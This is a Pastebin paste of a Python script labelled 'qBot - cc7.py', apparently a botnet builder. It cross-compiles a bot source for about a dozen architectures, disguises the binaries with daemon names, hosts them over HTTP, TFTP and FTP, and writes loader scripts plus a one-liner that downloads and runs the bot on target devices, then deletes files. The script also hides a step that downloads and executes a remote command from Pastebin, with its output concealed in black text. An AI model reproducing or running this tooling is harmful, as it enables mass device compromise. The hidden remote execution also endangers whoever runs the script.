Advertisement
dfmcvn

qBot - cc7.py

Feb 6th, 2017
468
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.39 KB | None | 0 0
  1. # https://www.youtube.com/watch?v=WIKLu32cZbA
  2. # Remember to install bzip
  3. # yum update
  4. # yum install bzip2
  5. # or
  6. # apt-get update
  7. # apt-get install bzip2
  8.  
  9. import subprocess, urllib2, sys
  10.  
  11. if len(sys.argv[2]) != 0:
  12.     ip = sys.argv[2]
  13. else:
  14.     print("\x1b[0;31mIncorrect Usage!")
  15.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  16.     exit(1)
  17.    
  18. bot = sys.argv[1]
  19.  
  20. yourafag = raw_input("Get arch's? Y/n:")
  21. if yourafag.lower() == "y":
  22.     get_arch = True
  23. else:
  24.     get_arch = False
  25.  
  26. compileas = ["ntpd", #mips
  27.              "sshd", #mipsel
  28.              "openssh", #sh4
  29.              "bash", #x86
  30.              "tftp", #Armv6l
  31.              "wget", #i686
  32.              "cron", #ppc
  33.              "ftp", #i586
  34.              "pftp", #m68k
  35.              "sh",
  36.              "[cpu]",
  37.              "apache2",
  38.              "telnetd"]
  39.  
  40. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  44. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  45. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  46. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  47. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  48. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  49. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  50. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  51. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  52. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  53.  
  54. ccs = ["cross-compiler-mips",
  55.        "cross-compiler-mipsel",
  56.        "cross-compiler-sh4",
  57.        "cross-compiler-x86_64",
  58.        "cross-compiler-armv6l",
  59.        "cross-compiler-i686",
  60.        "cross-compiler-powerpc",
  61.        "cross-compiler-i586",
  62.        "cross-compiler-m68k",
  63.        "cross-compiler-sparc",
  64.        "cross-compiler-armv4l",
  65.        "cross-compiler-armv5l",
  66.        "cross-compiler-powerpc-440fp"]
  67.  
  68. def run(cmd):
  69.     subprocess.call(cmd, shell=True)
  70.  
  71. run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  72. rx = urllib2.urlopen("http://pastebin.com/raw/1wvLihk5")
  73.  
  74. if get_arch == True:
  75.     run("rm -rf cross-compiler-*")
  76.  
  77.     print("Downloading Architectures")
  78.  
  79.     for arch in getarch:
  80.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  81.         run("tar -xvf *tar.bz2")
  82.         run("rm -rf *tar.bz2")
  83.  
  84.     print("Cross Compilers Downloaded...")
  85.  
  86. num = 0
  87. for cc in ccs:
  88.     arch = cc.split("-")[2]
  89.     run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  90.     num += 1
  91.  
  92. print("Cross Compiling Done!")
  93. print("Setting up your httpd and tftp")
  94.  
  95. run("yum install httpd -y")
  96. run("service httpd start")
  97. run("yum install xinetd tftp tftp-server -y")
  98. run("yum install vsftpd -y")
  99. run("service vsftpd start")
  100.  
  101. run('''echo -e "# default: off
  102. # description: The tftp server serves files using the trivial file transfer \
  103. #       protocol.  The tftp protocol is often used to boot diskless \
  104. #       workstations, download configuration files to network-aware printers, \
  105. #       and to start the installation process for some operating systems.
  106. service tftp
  107. {
  108.        socket_type             = dgram
  109.        protocol                = udp
  110.        wait                    = yes
  111.        user                    = root
  112.        server                  = /usr/sbin/in.tftpd
  113.        server_args             = -s -c /var/lib/tftpboot
  114.        disable                 = no
  115.        per_source              = 11
  116.        cps                     = 100 2
  117.        flags                   = IPv4
  118. }
  119. " > /etc/xinetd.d/tftp''')
  120. run("service xinetd start")
  121.  
  122. run('''echo -e "listen=YES
  123. local_enable=NO
  124. anonymous_enable=YES
  125. write_enable=NO
  126. anon_root=/var/ftp
  127. anon_max_rate=2048000
  128. xferlog_enable=YES
  129. listen_address='''+ ip +'''
  130. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  131. run("service vsftpd restart")
  132. getc = rx.read()
  133. getc = getc.replace("\n", "")
  134. run("echo -e \"\x1b[30m\"")
  135. subprocess.call(getc,shell=True)
  136. run("echo -e \"\x1b[37m\"")
  137. for i in compileas:
  138.     run("cp " + i + " /var/www/html")
  139.     run("cp " + i + " /var/ftp")
  140.     run("mv " + i + " /var/lib/tftpboot")
  141.  
  142. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  143.  
  144. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  145.  
  146. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  147.  
  148. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  149.  
  150. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  151.  
  152. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  153.  
  154. run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  155.  
  156. for i in compileas:
  157.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  158.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  159.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  160.     run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  161.  
  162. run("service xinetd restart")
  163. run("service httpd restart")
  164. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  165.  
  166. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  167. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
  168. print
  169. print("\x1b[0;32mCoded By dfmcvn\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement